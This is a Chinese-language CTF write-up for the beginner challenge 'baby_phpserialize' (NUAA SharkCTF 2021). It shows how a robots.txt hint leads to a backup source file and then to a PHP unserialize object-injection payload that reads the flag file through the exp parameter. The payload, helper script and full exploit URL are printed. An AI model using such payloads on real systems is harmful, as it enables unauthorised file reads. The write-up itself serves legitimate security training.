跳转至

baby_phpserialize - NUAA SharkCTF 2021

入门级题目,介绍 PHP 序列化题型的大致情况。

题目描述

题目描述

心路历程

一进网页,是个白屏。

白屏

行吧,那按照题干的提示,肯定在某个地方藏了文件。如何找到备份文件的位置呢?先尝试简单的方法:看 robots.txt。

robots.txt

显而易见,index.php~ 是主页的源代码,flag 就是 flag 所在的文件。

看看 index.php~ 里面有什么:

index.php~

看到 unserialize 便知,是一道经典的反序列化的题目。我们需要构建一个 hehe() 的对象实例,将其 .a 属性设置为 flag,将该实例序列化成字符串后,作为 GET 请求的 exp 参数发送给服务器即可。

构建辅助工具之序列化助手 serialize.php

<?php 
    class hehe{
        public $a;
        function __destruct(){
            $data = file_get_contents($this->a);
            echo $data;
        }
    }

    $obj = new hehe;
    $obj->a = "flag";
    echo serialize($obj);
    echo "\n";
?>

得到目标对象序列化后的结果:

序列化助手

向本地测试服务器发起目标 GET 请求:

本地测试

测试通过。向题目服务器发起同样的请求,得到 flag:

得到 flag

题解

访问

http://49.235.111.14:5012/index.php?exp=O:4:"hehe":1:{s:1:"a";s:4:"flag";}

即可得到 flag。